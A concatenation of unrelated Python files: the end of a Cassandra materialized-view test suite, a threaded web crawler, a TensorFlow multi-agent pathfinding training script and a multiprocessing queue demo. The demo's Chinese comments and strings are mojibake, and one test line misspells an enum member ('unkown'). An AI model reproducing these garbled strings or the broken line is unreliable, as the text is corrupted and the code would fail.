Missing(MM): value = None row = None def __init__(self, value, row): self.mp = MutationPresence.missing self.value = value self.row = row def out(self): return "Missing. At {}".format(self.row) class Excluded(MM): def __init__(self): self.mp = MutationPresence.excluded def out(self): return None class Unknown(MM): def __init__(self): self.mp = MutationPresence.unknown def out(self): return None readConsistency = ConsistencyLevel.QUORUM writeConsistency = ConsistencyLevel.QUORUM SimpleRow = collections.namedtuple('SimpleRow', 'a b c d') def row_generate(i, num_partitions): return SimpleRow(a=i % num_partitions, b=(i % 400) // num_partitions, c=i, d=i) # Create a threaded session and execute queries from a Queue def thread_session(ip, queue, start, end, rows, num_partitions): def execute_query(session, select_gi, i): row = row_generate(i, num_partitions) if (row.a, row.b) in rows: base = rows[(row.a, row.b)] else: base = -1 gi = list(session.execute(select_gi, [row.c, row.a])) if base == i and len(gi) == 1: return Match() elif base != i and len(gi) == 1: return Extra(base, i, (gi[0][0], gi[0][1], gi[0][2], gi[0][3])) elif base == i and len(gi) == 0: return Missing(base, i) elif base != i and len(gi) == 0: return Excluded() else: return Unknown() try: cluster = Cluster([ip]) session = cluster.connect() select_gi = session.prepare("SELECT * FROM mvtest.mv1 WHERE c = ? AND a = ?") select_gi.consistency_level = readConsistency for i in range(start, end): ret = execute_query(session, select_gi, i) queue.put_nowait(ret) except Exception as e: print(str(e)) queue.close() @since('3.0') @pytest.mark.skipif(sys.platform == 'win32', reason='Bug in python on Windows: https://bugs.python.org/issue10128') class TestMaterializedViewsConsistency(Tester): def prepare(self, user_table=False): cluster = self.cluster cluster.set_configuration_options({'enable_materialized_views': 'true'}) cluster.populate(3).start() node2 = cluster.nodelist()[1] # Keep the status of async requests self.exception_type = collections.Counter() self.num_request_done = 0 self.counts = {} for mp in MutationPresence: self.counts[mp] = 0 self.rows = {} self.update_stats_every = 100 logger.debug("Set to talk to node 2") self.session = self.patient_cql_connection(node2) return self.session def _print_write_status(self, row): output = "\r{}".format(row) for key in list(self.exception_type.keys()): output = "{} ({}: {})".format(output, key, self.exception_type[key]) logger.debug(output) def _print_read_status(self, row): if self.counts[MutationPresence.unknown] == 0: logger.debug( "\rOn {}; match: {}; extra: {}; missing: {}".format( row, self.counts[MutationPresence.match], self.counts[MutationPresence.extra], self.counts[MutationPresence.missing]) ) else: logger.debug( "\rOn {}; match: {}; extra: {}; missing: {}; WTF: {}".format( row, self.counts[MutationPresence.match], self.counts[MutationPresence.extra], self.counts[MutationPresence.missing], self.counts[MutationPresence.unkown]) ) def _do_row(self, insert_stmt, i, num_partitions): # Error callback for async requests def handle_errors(row, exc): self.num_request_done += 1 try: name = type(exc).__name__ self.exception_type[name] += 1 except Exception as e: print(traceback.format_exception_only(type(e), e)) # Success callback for async requests def success_callback(row): self.num_request_done += 1 if i % self.update_stats_every == 0: self._print_write_status(i) row = row_generate(i, num_partitions) async_ret = self.session.execute_async(insert_stmt, row) errors = partial(handle_errors, row) async_ret.add_callbacks(success_callback, errors) def _populate_rows(self): statement = SimpleStatement( "SELECT a, b, c FROM mvtest.test1", consistency_level=readConsistency ) data = self.session.execute(statement) for row in data: self.rows[(row.a, row.b)] = row.c @pytest.mark.skip(reason='awaiting CASSANDRA-11290') def test_single_partition_consistent_reads_after_write(self): """ Tests consistency of multiple writes to a single partition @jira_ticket CASSANDRA-10981 """ self._consistent_reads_after_write_test(1) def test_multi_partition_consistent_reads_after_write(self): """ Tests consistency of multiple writes to a multiple partitions @jira_ticket CASSANDRA-10981 """ self._consistent_reads_after_write_test(5) def _consistent_reads_after_write_test(self, num_partitions): session = self.prepare() node1, node2, node3 = self.cluster.nodelist() # Test config lower = 0 upper = 100000 processes = 4 queues = [None] * processes eachProcess = (upper - lower) // processes logger.debug("Creating schema") session.execute( ("CREATE KEYSPACE IF NOT EXISTS mvtest WITH replication = " "{'class': 'SimpleStrategy', 'replication_factor': '3'}") ) session.execute( "CREATE TABLE mvtest.test1 (a int, b int, c int, d int, PRIMARY KEY (a,b))" ) session.cluster.control_connection.wait_for_schema_agreement() insert1 = session.prepare("INSERT INTO mvtest.test1 (a,b,c,d) VALUES (?,?,?,?)") insert1.consistency_level = writeConsistency logger.debug("Writing data to base table") for i in range(upper // 10): self._do_row(insert1, i, num_partitions) logger.debug("Creating materialized view") session.execute( ('CREATE MATERIALIZED VIEW mvtest.mv1 AS ' 'SELECT a,b,c,d FROM mvtest.test1 WHERE a IS NOT NULL AND b IS NOT NULL AND ' 'c IS NOT NULL PRIMARY KEY (c,a,b)') ) session.cluster.control_connection.wait_for_schema_agreement() logger.debug("Writing more data to base table") for i in range(upper // 10, upper): self._do_row(insert1, i, num_partitions) # Wait that all requests are done while self.num_request_done < upper: time.sleep(1) logger.debug("Making sure all batchlogs are replayed on node1") node1.nodetool("replaybatchlog") logger.debug("Making sure all batchlogs are replayed on node2") node2.nodetool("replaybatchlog") logger.debug("Making sure all batchlogs are replayed on node3") node3.nodetool("replaybatchlog") logger.debug("Finished writes, now verifying reads") self._populate_rows() threads = [] for i in range(processes): start = lower + (eachProcess * i) if i == processes - 1: end = upper else: end = lower + (eachProcess * (i + 1)) q = Queue() node_ip = get_ip_from_node(node2) t = threading.Thread(target=thread_session, args=(node_ip, q, start, end, self.rows, num_partitions)) threads.append(t) t.daemon = True t.start() queues[i] = q for i in range(lower, upper): if i % 100 == 0: self._print_read_status(i) try: mm = queues[i % processes].get(timeout=60) except Empty as e: pytest.skip("Failed to get range {range} within timeout from queue. {error}".format(range=i, error=str(e))) if not mm.out() is None: logger.debug("\r{}\n" .format(mm.out())) self.counts[mm.mp] += 1 self._print_read_status(upper) for thread in threads: thread.join(timeout=300) @since('3.0') class TestMaterializedViewsLockcontention(Tester): """ Test materialized views lock contention. @jira_ticket CASSANDRA-12689 @since 3.0 """ def _prepare_cluster(self): self.cluster.populate(1) self.cluster.set_configuration_options({'enable_materialized_views': 'true'}) self.supports_v5_protocol = self.supports_v5_protocol(self.cluster.version()) self.protocol_version = 5 if self.supports_v5_protocol else 4 self.cluster.set_configuration_options(values={ 'concurrent_materialized_view_writes': 1, 'concurrent_writes': 1, }) self.nodes = list(self.cluster.nodes.values()) for node in self.nodes: remove_perf_disable_shared_mem(node) self.cluster.start(wait_for_binary_proto=True, jvm_args=[ "-Dcassandra.test.fail_mv_locks_count=64" ]) session = self.patient_exclusive_cql_connection(self.nodes[0], protocol_version=self.protocol_version) keyspace = "locktest" session.execute(""" CREATE KEYSPACE IF NOT EXISTS {} WITH replication = {{ 'class': 'SimpleStrategy', 'replication_factor': '1' }} """.format(keyspace)) session.set_keyspace(keyspace) session.execute( "CREATE TABLE IF NOT EXISTS test (int1 int, int2 int, date timestamp, PRIMARY KEY (int1, int2))") session.execute("""CREATE MATERIALIZED VIEW test_sorted_mv AS SELECT int1, date, int2 FROM test WHERE int1 IS NOT NULL AND date IS NOT NULL AND int2 IS NOT NULL PRIMARY KEY (int1, date, int2) WITH CLUSTERING ORDER BY (date DESC, int2 DESC)""") return session @since('3.0') def test_mutations_dontblock(self): session = self._prepare_cluster() records = 100 records2 = 100 params = [] for x in range(records): for y in range(records2): params.append([x, y]) execute_concurrent_with_args( session, session.prepare('INSERT INTO test (int1, int2, date) VALUES (?, ?, toTimestamp(now()))'), params ) assert_one(session, "SELECT count(*) FROM test WHERE int1 = 1", [records2]) for node in self.nodes: with JolokiaAgent(node) as jmx: mutationStagePending = jmx.read_attribute( make_mbean('metrics', type="ThreadPools", path='request', scope='MutationStage', name='PendingTasks'), "Value" ) assert 0 == mutationStagePending, "Pending mutations: {}".format(mutationStagePending)
main.py
import sys, traceback import urllib3 from socket import timeout import tldextract import re import curses import logging import threading from time import sleep from crawler import linkCrawler from checker import Checker from stats import Stats from backlog import Backlog from collector import Collector def crawl(): stats = Stats() backlog = Backlog('toParse.txt','parsed.txt') collector = Collector("collections.json") stop_event= threading.Event() threads = 20 running = [] try: for x in range(threads): t = threading.Thread(target=linkCrawler, args=(backlog,stats, collector, stop_event)) t.daemon = True # die when the main thread dies t.start() running.append(t) while True: stats.printStats() collector.safeprogress sleep(5) except KeyboardInterrupt: print ("Shutdown requested...exiting") stop_event.set() main_thread = threading.currentThread() for t in threading.enumerate(): if t is not main_thread: t.join() stats.printStats() backlog.safeprogress() collector.safeprogress() except Exception: traceback.print_exc(file=sys.stdout) def main(): crawl() if __name__ == "__main__": try: logging.basicConfig(filename='log.log', level=logging.INFO) logging.info('Started') main() finally: logging.info('Finished')
test.py
#this should be the thing, right? from __future__ import division import gym import numpy as np import random import tensorflow as tf import tensorflow.contrib.layers as layers import matplotlib.pyplot as plt from od_mstar3 import cpp_mstar from od_mstar3.col_set_addition import OutOfTimeError,NoSolutionError import threading import time import scipy.signal as signal import os import GroupLock import multiprocessing #%matplotlib inline import mapf_gym as mapf_gym import pickle import imageio from ACNet import ACNet from tensorflow.python.client import device_lib dev_list = device_lib.list_local_devices() print(dev_list) assert len(dev_list) > 1 def make_gif(images, fname, duration=2, true_image=False,salience=False,salIMGS=None): imageio.mimwrite(fname,images,subrectangles=True) print("wrote gif") # Copies one set of variables to another. # Used to set worker network parameters to those of global network. def update_target_graph(from_scope,to_scope): from_vars = tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, from_scope) to_vars = tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, to_scope) op_holder = [] for from_var,to_var in zip(from_vars,to_vars): op_holder.append(to_var.assign(from_var)) return op_holder def discount(x, gamma): return signal.lfilter([1], [1, -gamma], x[::-1], axis=0)[::-1] def good_discount(x, gamma): return discount(x,gamma) class Worker: def __init__(self, game, metaAgentID, workerID, a_size, groupLock): self.workerID = workerID self.env = game self.metaAgentID = metaAgentID self.name = "worker_"+str(workerID) self.agentID = ((workerID-1) % num_workers) + 1 self.groupLock = groupLock self.nextGIF = episode_count # For GIFs output #Create the local copy of the network and the tensorflow op to copy global parameters to local network self.local_AC = ACNet(self.name,a_size,trainer,True,GRID_SIZE,GLOBAL_NET_SCOPE) self.pull_global = update_target_graph(GLOBAL_NET_SCOPE, self.name) def synchronize(self): #handy thing for keeping track of which to release and acquire if(not hasattr(self,"lock_bool")): self.lock_bool=False self.groupLock.release(int(self.lock_bool),self.name) self.groupLock.acquire(int(not self.lock_bool),self.name) self.lock_bool=not self.lock_bool def train(self, rollout, sess, gamma, bootstrap_value, rnn_state0, imitation=False): global episode_count if imitation: rollout=np.array(rollout) #we calculate the loss differently for imitation #if imitation=True the rollout is assumed to have different dimensions: #[o[0],o[1],optimal_actions] feed_dict={global_step:episode_count, self.local_AC.inputs:np.stack(rollout[:,0]), self.local_AC.goal_pos:np.stack(rollout[:,1]), self.local_AC.optimal_actions:np.stack(rollout[:,2]), self.local_AC.state_in[0]:rnn_state0[0], self.local_AC.state_in[1]:rnn_state0[1] } _,i_l,_=sess.run([self.local_AC.policy,self.local_AC.imitation_loss, self.local_AC.apply_imitation_grads], feed_dict=feed_dict) return i_l rollout = np.array(rollout) observations = rollout[:,0] goals=rollout[:,-2] actions = rollout[:,1] rewards = rollout[:,2] values = rollout[:,5] valids = rollout[:,6] blockings = rollout[:,10] on_goals=rollout[:,8] train_value = rollout[:,-1] # Here we take the rewards and values from the rollout, and use them to # generate the advantage and discounted returns. (With bootstrapping) # The advantage function uses "Generalized Advantage Estimation" self.rewards_plus = np.asarray(rewards.tolist() + [bootstrap_value]) discounted_rewards = discount(self.rewards_plus,gamma)[:-1] self.value_plus = np.asarray(values.tolist() + [bootstrap_value]) advantages = rewards + gamma * self.value_plus[1:] - self.value_plus[:-1] advantages = good_discount(advantages,gamma) num_samples = min(EPISODE_SAMPLES,len(advantages)) sampleInd = np.sort(np.random.choice(advantages.shape[0], size=(num_samples,), replace=False)) # Update the global network using gradients from loss # Generate network statistics to periodically save feed_dict = { global_step:episode_count, self.local_AC.target_v:np.stack(discounted_rewards), self.local_AC.inputs:np.stack(observations), self.local_AC.goal_pos:np.stack(goals), self.local_AC.actions:actions, self.local_AC.train_valid:np.stack(valids), self.local_AC.advantages:advantages, self.local_AC.train_value:train_value, self.local_AC.target_blockings:blockings, self.local_AC.target_on_goals:on_goals, self.local_AC.state_in[0]:rnn_state0[0], self.local_AC.state_in[1]:rnn_state0[1] } v_l,p_l,valid_l,e_l,g_n,v_n,b_l,og_l,_ = sess.run([self.local_AC.value_loss, self.local_AC.policy_loss, self.local_AC.valid_loss, self.local_AC.entropy, self.local_AC.grad_norms, self.local_AC.var_norms, self.local_AC.blocking_loss, self.local_AC.on_goal_loss, self.local_AC.apply_grads], feed_dict=feed_dict) return v_l/len(rollout), p_l/len(rollout), valid_l/len(rollout), e_l/len(rollout), b_l/len(rollout), og_l/len(rollout), g_n, v_n def shouldRun(self, coord, episode_count): if TRAINING: return (not coord.should_stop()) else: return (episode_count < NUM_EXPS) def parse_path(self,path): '''needed function to take the path generated from M* and create the observations and actions for the agent path: the exact path ouput by M*, assuming the correct number of agents returns: the list of rollouts for the "episode": list of length num_agents with each sublist a list of tuples (observation[0],observation[1],optimal_action,reward)''' result=[[] for i in range(num_workers)] for t in range(len(path[:-1])): observations=[] move_queue=list(range(num_workers)) for agent in range(1,num_workers+1): observations.append(self.env._observe(agent)) steps=0 while len(move_queue)>0: steps+=1 i=move_queue.pop(0) o=observations[i] pos=path[t][i] newPos=path[t+1][i]#guaranteed to be in bounds by loop guard direction=(newPos[0]-pos[0],newPos[1]-pos[1]) a=self.env.world.getAction(direction) state, reward, done, nextActions, on_goal, blocking, valid_action=self.env._step((i+1,a)) if steps>num_workers**2: #if we have a very confusing situation where lots of agents move #in a circle (difficult to parse and also (mostly) impossible to learn) return None if not valid_action: #the tie must be broken here move_queue.append(i) continue result[i].append([o[0],o[1],a]) return result def work(self,max_episode_length,gamma,sess,coord,saver): global episode_count, swarm_reward, episode_rewards, episode_lengths, episode_mean_values, episode_invalid_ops,episode_wrong_blocking #, episode_invalid_goals total_steps, i_buf = 0, 0 episode_buffers, s1Values = [ [] for _ in range(NUM_BUFFERS) ], [ [] for _ in range(NUM_BUFFERS) ] with sess.as_default(), sess.graph.as_default(): while self.shouldRun(coord, episode_count): sess.run(self.pull_global) episode_buffer, episode_values = [], [] episode_reward = episode_step_count = episode_inv_count = 0 d = False # Initial state from the environment if self.agentID==1: self.env._reset(self.agentID) self.synchronize() # synchronize starting time of the threads validActions = self.env._listNextValidActions(self.agentID) s = self.env._observe(self.agentID) blocking = False p=self.env.world.getPos(self.agentID) on_goal = self.env.world.goals[p[0],p[1]]==self.agentID s = self.env._observe(self.agentID) rnn_state = self.local_AC.state_init rnn_state0 = rnn_state RewardNb = 0 wrong_blocking = 0 wrong_on_goal=0 if self.agentID==1: global demon_probs demon_probs[self.metaAgentID]=np.random.rand() self.synchronize() # synchronize starting time of the threads # reset swarm_reward (for tensorboard) swarm_reward[self.metaAgentID] = 0 if episode_count<PRIMING_LENGTH or demon_probs[self.metaAgentID]<DEMONSTRATION_PROB: #for the first PRIMING_LENGTH episodes, or with a certain probability #don't train on the episode and instead observe a demonstration from M* if self.workerID==1 and episode_count%100==0: saver.save(sess, model_path+'/model-'+str(int(episode_count))+'.cptk') global rollouts rollouts[self.metaAgentID]=None if(self.agentID==1): world=self.env.getObstacleMap() start_positions=tuple(self.env.getPositions()) goals=tuple(self.env.getGoals()) try: mstar_path=cpp_mstar.find_path(world,start_positions,goals,2,5) rollouts[self.metaAgentID]=self.parse_path(mstar_path) except OutOfTimeError: #M* timed out print("timeout",episode_count) except NoSolutionError: print("nosol????",episode_count,start_positions) self.synchronize() if rollouts[self.metaAgentID] is not None: i_l=self.train(rollouts[self.metaAgentID][self.agentID-1], sess, gamma, None, rnn_state0, imitation=True) episode_count+=1./num_workers if self.agentID==1: summary = tf.Summary() summary.value.add(tag='Losses/Imitation loss', simple_value=i_l) global_summary.add_summary(summary, int(episode_count)) global_summary.flush() continue continue saveGIF = False if OUTPUT_GIFS and self.workerID == 1 and ((not TRAINING) or (episode_count >= self.nextGIF)): saveGIF = True self.nextGIF =episode_count + 64 GIF_episode = int(episode_count) episode_frames = [ self.env._render(mode='rgb_array',screen_height=900,screen_width=900) ] while (not self.env.finished): # Give me something! #Take an action using probabilities from policy network output. a_dist,v,rnn_state,pred_blocking,pred_on_goal = sess.run([self.local_AC.policy, self.local_AC.value, self.local_AC.state_out, self.local_AC.blocking, self.local_AC.on_goal], feed_dict={self.local_AC.inputs:[s[0]], self.local_AC.goal_pos:[s[1]], self.local_AC.state_in[0]:rnn_state[0], self.local_AC.state_in[1]:rnn_state[1]}) if(not (np.argmax(a_dist.flatten()) in validActions)): episode_inv_count += 1 train_valid = np.zeros(a_size) train_valid[validActions] = 1 valid_dist = np.array([a_dist[0,validActions]]) valid_dist /= np.sum(valid_dist) if TRAINING: if (pred_blocking.flatten()[0] < 0.5) == blocking: wrong_blocking += 1 if (pred_on_goal.flatten()[0] < 0.5) == on_goal: wrong_on_goal += 1 a = validActions[ np.random.choice(range(valid_dist.shape[1]),p=valid_dist.ravel()) ] train_val = 1. else: a = np.argmax(a_dist.flatten()) if a not in validActions or not GREEDY: a = validActions[ np.random.choice(range(valid_dist.shape[1]),p=valid_dist.ravel()) ] train_val = 1. _, r, _, _, on_goal,blocking,_ = self.env._step((self.agentID, a),episode=episode_count) self.synchronize() # synchronize threads # Get common observation for all agents after all individual actions have been performed s1 = self.env._observe(self.agentID) validActions = self.env._listNextValidActions(self.agentID, a,episode=episode_count) d = self.env.finished if saveGIF: episode_frames.append(self.env._render(mode='rgb_array',screen_width=900,screen_height=900)) episode_buffer.append([s[0],a,r,s1,d,v[0,0],train_valid,pred_on_goal,int(on_goal),pred_blocking,int(blocking),s[1],train_val]) episode_values.append(v[0,0]) episode_reward += r s = s1 total_steps += 1 episode_step_count += 1 if r>0: RewardNb += 1 if d == True: print('\n{} Goodbye World. We did it!'.format(episode_step_count), end='\n') # If the episode hasn't ended, but the experience buffer is full, then we # make an update step using that experience rollout. if TRAINING and (len(episode_buffer) % EXPERIENCE_BUFFER_SIZE == 0 or d): # Since we don't know what the true final return is, we "bootstrap" from our current value estimation. if len(episode_buffer) >= EXPERIENCE_BUFFER_SIZE: episode_buffers[i_buf] = episode_buffer[-EXPERIENCE_BUFFER_SIZE:] else: episode_buffers[i_buf] = episode_buffer[:] if d: s1Values[i_buf] = 0 else: s1Values[i_buf] = sess.run(self.local_AC.value, feed_dict={self.local_AC.inputs:np.array([s[0]]) ,self.local_AC.goal_pos:[s[1]] ,self.local_AC.state_in[0]:rnn_state[0] ,self.local_AC.state_in[1]:rnn_state[1]})[0,0] if (episode_count-EPISODE_START) < NUM_BUFFERS: i_rand = np.random.randint(i_buf+1) else: i_rand = np.random.randint(NUM_BUFFERS) tmp = np.array(episode_buffers[i_rand]) while tmp.shape[0] == 0: i_rand = np.random.randint(NUM_BUFFERS) tmp = np.array(episode_buffers[i_rand]) v_l,p_l,valid_l,e_l,b_l,og_l,g_n,v_n = self.train(episode_buffers[i_rand],sess,gamma,s1Values[i_rand],rnn_state0) i_buf = (i_buf + 1) % NUM_BUFFERS rnn_state0 = rnn_state episode_buffers[i_buf] = [] self.synchronize() # synchronize threads # sess.run(self.pull_global) if episode_step_count >= max_episode_length or d: break episode_lengths[self.metaAgentID].append(episode_step_count) episode_mean_values[self.metaAgentID].append(np.nanmean(episode_values)) episode_invalid_ops[self.metaAgentID].append(episode_inv_count) episode_wrong_blocking[self.metaAgentID].append(wrong_blocking) # Periodically save gifs of episodes, model parameters, and summary statistics. if episode_count % EXPERIENCE_BUFFER_SIZE == 0 and printQ: print(' ', end='\r') print('{} Episode terminated ({},{})'.format(episode_count, self.agentID, RewardNb), end='\r') swarm_reward[self.metaAgentID] += episode_reward self.synchronize() # synchronize threads episode_rewards[self.metaAgentID].append(swarm_reward[self.metaAgentID]) if not TRAINING: mutex.acquire() if episode_count < NUM_EXPS: plan_durations[episode_count] = episode_step_count if self.workerID == 1: episode_count += 1 print('({}) Thread {}: {} steps, {:.2f} reward ({} invalids).'.format(episode_count, self.workerID, episode_step_count, episode_reward, episode_inv_count)) GIF_episode = int(episode_count) mutex.release() else: episode_count+=1./num_workers if episode_count % SUMMARY_WINDOW == 0: if episode_count % 100 == 0: print ('Saving Model', end='\n') saver.save(sess, model_path+'/model-'+str(int(episode_count))+'.cptk') print ('Saved Model', end='\n') SL = SUMMARY_WINDOW * num_workers mean_reward = np.nanmean(episode_rewards[self.metaAgentID][-SL:]) mean_length = np.nanmean(episode_lengths[self.metaAgentID][-SL:]) mean_value = np.nanmean(episode_mean_values[self.metaAgentID][-SL:]) mean_invalid = np.nanmean(episode_invalid_ops[self.metaAgentID][-SL:]) mean_wrong_blocking = np.nanmean(episode_wrong_blocking[self.metaAgentID][-SL:]) current_learning_rate = sess.run(lr,feed_dict={global_step:episode_count}) summary = tf.Summary() summary.value.add(tag='Perf/Learning Rate',simple_value=current_learning_rate) summary.value.add(tag='Perf/Reward', simple_value=mean_reward) summary.value.add(tag='Perf/Length', simple_value=mean_length) summary.value.add(tag='Perf/Valid Rate', simple_value=(mean_length-mean_invalid)/mean_length) summary.value.add(tag='Perf/Blocking Prediction Accuracy', simple_value=(mean_length-mean_wrong_blocking)/mean_length) summary.value.add(tag='Losses/Value Loss', simple_value=v_l) summary.value.add(tag='Losses/Policy Loss', simple_value=p_l) summary.value.add(tag='Losses/Blocking Loss', simple_value=b_l) summary.value.add(tag='Losses/On Goal Loss', simple_value=og_l) summary.value.add(tag='Losses/Valid Loss', simple_value=valid_l) summary.value.add(tag='Losses/Grad Norm', simple_value=g_n) summary.value.add(tag='Losses/Var Norm', simple_value=v_n) global_summary.add_summary(summary, int(episode_count)) global_summary.flush() if printQ: print('{} Tensorboard updated ({})'.format(episode_count, self.workerID), end='\r') if saveGIF: # Dump episode frames for external gif generation (otherwise, makes the jupyter kernel crash) time_per_step = 0.1 images = np.array(episode_frames) if TRAINING: make_gif(images, '{}/episode_{:d}_{:d}_{:.1f}.gif'.format(gifs_path,GIF_episode,episode_step_count,swarm_reward[self.metaAgentID])) else: make_gif(images, '{}/episode_{:d}_{:d}.gif'.format(gifs_path,GIF_episode,episode_step_count), duration=len(images)*time_per_step,true_image=True,salience=False) if SAVE_EPISODE_BUFFER: with open('gifs3D/episode_{}.dat'.format(GIF_episode), 'wb') as file: pickle.dump(episode_buffer, file) # Learning parameters max_episode_length = 256 episode_count = 0 EPISODE_START = episode_count gamma = .95 # discount rate for advantage estimation and reward discounting #moved network parameters to ACNet.py EXPERIENCE_BUFFER_SIZE = 128 GRID_SIZE = 10 #the size of the FOV grid to apply to each agent ENVIRONMENT_SIZE = (10,70)#the total size of the environment (length of one side) OBSTACLE_DENSITY = (0,.5) #range of densities DIAG_MVMT = False # Diagonal movements allowed? a_size = 5 + int(DIAG_MVMT)*4 SUMMARY_WINDOW = 10 NUM_META_AGENTS = 2 NUM_THREADS = 2 #8 #int(multiprocessing.cpu_count() / (2 * NUM_META_AGENTS)) NUM_BUFFERS = 1 # NO EXPERIENCE REPLAY int(NUM_THREADS / 2) EPISODE_SAMPLES = EXPERIENCE_BUFFER_SIZE # 64 LR_Q = 2.e-5 #8.e-5 / NUM_THREADS # default: 1e-5 ADAPT_LR = True ADAPT_COEFF = 5.e-5 #the coefficient A in LR_Q/sqrt(A*steps+1) for calculating LR load_model = False RESET_TRAINER = False model_path = 'model_primal' gifs_path = 'gifs_primal' train_path = 'train_primal' GLOBAL_NET_SCOPE = 'global' #Imitation options PRIMING_LENGTH = 0 # number of episodes at the beginning to train only on demonstrations DEMONSTRATION_PROB = 0.5 # probability of training on a demonstration per episode # Simulation options FULL_HELP = False OUTPUT_GIFS = False SAVE_EPISODE_BUFFER = False # Testing TRAINING = True GREEDY = False NUM_EXPS = 100 MODEL_NUMBER = 313000 # Shared arrays for tensorboard episode_rewards = [ [] for _ in range(NUM_META_AGENTS) ] episode_lengths = [ [] for _ in range(NUM_META_AGENTS) ] episode_mean_values = [ [] for _ in range(NUM_META_AGENTS) ] episode_invalid_ops = [ [] for _ in range(NUM_META_AGENTS) ] episode_wrong_blocking = [ [] for _ in range(NUM_META_AGENTS) ] rollouts = [ None for _ in range(NUM_META_AGENTS)] demon_probs=[np.random.rand() for _ in range(NUM_META_AGENTS)] # episode_steps_on_goal = [ [] for _ in range(NUM_META_AGENTS) ] printQ = False # (for headless) swarm_reward = [0]*NUM_META_AGENTS tf.reset_default_graph() print("Hello World") if not os.path.exists(model_path): os.makedirs(model_path) config = tf.ConfigProto(allow_soft_placement = True) config.gpu_options.allow_growth=True if not TRAINING: plan_durations = np.array([0 for _ in range(NUM_EXPS)]) mutex = threading.Lock() gifs_path += '_tests' if SAVE_EPISODE_BUFFER and not os.path.exists('gifs3D'): os.makedirs('gifs3D') #Create a directory to save episode playback gifs to if not os.path.exists(gifs_path): os.makedirs(gifs_path) with tf.device("/gpu:0"): master_network = ACNet(GLOBAL_NET_SCOPE,a_size,None,False,GRID_SIZE,GLOBAL_NET_SCOPE) # Generate global network global_step = tf.placeholder(tf.float32) if ADAPT_LR: #computes LR_Q/sqrt(ADAPT_COEFF*steps+1) #we need the +1 so that lr at step 0 is defined lr=tf.divide(tf.constant(LR_Q),tf.sqrt(tf.add(1.,tf.multiply(tf.constant(ADAPT_COEFF),global_step)))) else: lr=tf.constant(LR_Q) trainer = tf.contrib.opt.NadamOptimizer(learning_rate=lr, use_locking=True) if TRAINING: num_workers = NUM_THREADS # Set workers # = # of available CPU threads else: num_workers = NUM_THREADS NUM_META_AGENTS = 1 gameEnvs, workers, groupLocks = [], [], [] n=1#counter of total number of agents (for naming) for ma in range(NUM_META_AGENTS): num_agents=NUM_THREADS gameEnv = mapf_gym.MAPFEnv(num_agents=num_agents, DIAGONAL_MOVEMENT=DIAG_MVMT, SIZE=ENVIRONMENT_SIZE, observation_size=GRID_SIZE,PROB=OBSTACLE_DENSITY, FULL_HELP=FULL_HELP) gameEnvs.append(gameEnv) # Create groupLock workerNames = ["worker_"+str(i) for i in range(n,n+num_workers)] groupLock = GroupLock.GroupLock([workerNames,workerNames]) groupLocks.append(groupLock) # Create worker classes workersTmp = [] for i in range(ma*num_workers+1,(ma+1)*num_workers+1): workersTmp.append(Worker(gameEnv,ma,n,a_size,groupLock)) n+=1 workers.append(workersTmp) global_summary = tf.summary.FileWriter(train_path) saver = tf.train.Saver(max_to_keep=2) with tf.Session(config=config) as sess: sess.run(tf.global_variables_initializer()) coord = tf.train.Coordinator() if load_model == True: print ('Loading Model...') if not TRAINING: with open(model_path+'/checkpoint', 'w') as file: file.write('model_checkpoint_path: "model-{}.cptk"'.format(MODEL_NUMBER)) file.close() ckpt = tf.train.get_checkpoint_state(model_path) p=ckpt.model_checkpoint_path p=p[p.find('-')+1:] p=p[:p.find('.')] episode_count=int(p) saver.restore(sess,ckpt.model_checkpoint_path) print("episode_count set to ",episode_count) if RESET_TRAINER: trainer = tf.contrib.opt.NadamOptimizer(learning_rate=lr, use_locking=True) # This is where the asynchronous magic happens. # Start the "work" process for each worker in a separate thread. worker_threads = [] for ma in range(NUM_META_AGENTS): for worker in workers[ma]: groupLocks[ma].acquire(0,worker.name) # synchronize starting time of the threads worker_work = lambda: worker.work(max_episode_length,gamma,sess,coord,saver) print("Starting worker " + str(worker.workerID)) t = threading.Thread(target=(worker_work)) t.start() worker_threads.append(t) coord.join(worker_threads) if not TRAINING: print([np.mean(plan_durations), np.sqrt(np.var(plan_durations)), np.mean(np.asarray(plan_durations < max_episode_length, dtype=float))])
MultiProcessQueue.py
#!/usr/bin/env python3 # -*- coding:utf-8 -*- # # _ooOoo_ # o8888888o # 88" . "88 # (| -_- |) # O\ = /O # ___/`---'\____ # . ' \\| |// `. # / \\||| : |||// \ # / _||||| -:- |||||- \ # | | \\\ - /// | | # | \_| ''\---/'' | | # \ .-\__ `-` ___/-. / # ___`. .' /--.--\ `. . __ # ."" '< `.___\_<|>_/___.' >'"". # | | : `- \`.;`\ _ /`;.`/ - ` : | | # \ \ `-. \_ __\ /__ _/ .-` / / # ======`-.____`-.___\_____/___.-`____.-'====== # `=---=' # ............................................. # ไฝ›ๆ›ฐ๏ผšbugๆณ›ๆปฅ๏ผŒๆˆ‘ๅทฒ็˜ซ็—ช๏ผ # 'ๅคš่ฟ›็จ‹ๅฎž็Žฐๅนณๆ–น่ฎก็ฎ—' __author__ = 'click' __date__ = '2018/7/31 ไธ‹ๅˆ3:20' from multiprocessing import Process, Queue import random, time # master def master(queue): for i in range(10): n = random.randint(0, 10) print('ๅพ€master้˜Ÿๅˆ—ไธญๆทปๅŠ ไปปๅŠก %s' % n) queue.put(n) # worker def worker(queue): for i in range(10): try: n = queue.get(timeout=1) print('worker่ฟ›็จ‹่Žทๅ–ๅˆฐmaster้˜Ÿๅˆ—ไธญ็š„ๅ…ƒ็ด %s' % n) r = '%d * %d = %d' % (n, n, n * n) time.sleep(1) print("worker่ฟ›็จ‹่พ“ๅ‡บ่ฎก็ฎ—็ป“ๆžœ%s" % r) except queue.Empty: print('้˜Ÿๅˆ—ไธบ็ฉบ') if __name__ == '__main__': queue = Queue() masterProcess = Process(target=master, args=(queue,)) workerProcess = Process(target=worker, args=(queue,)) masterProcess.start() workerProcess.start() masterProcess.join() masterProcess.terminate()
hello_meth2.py
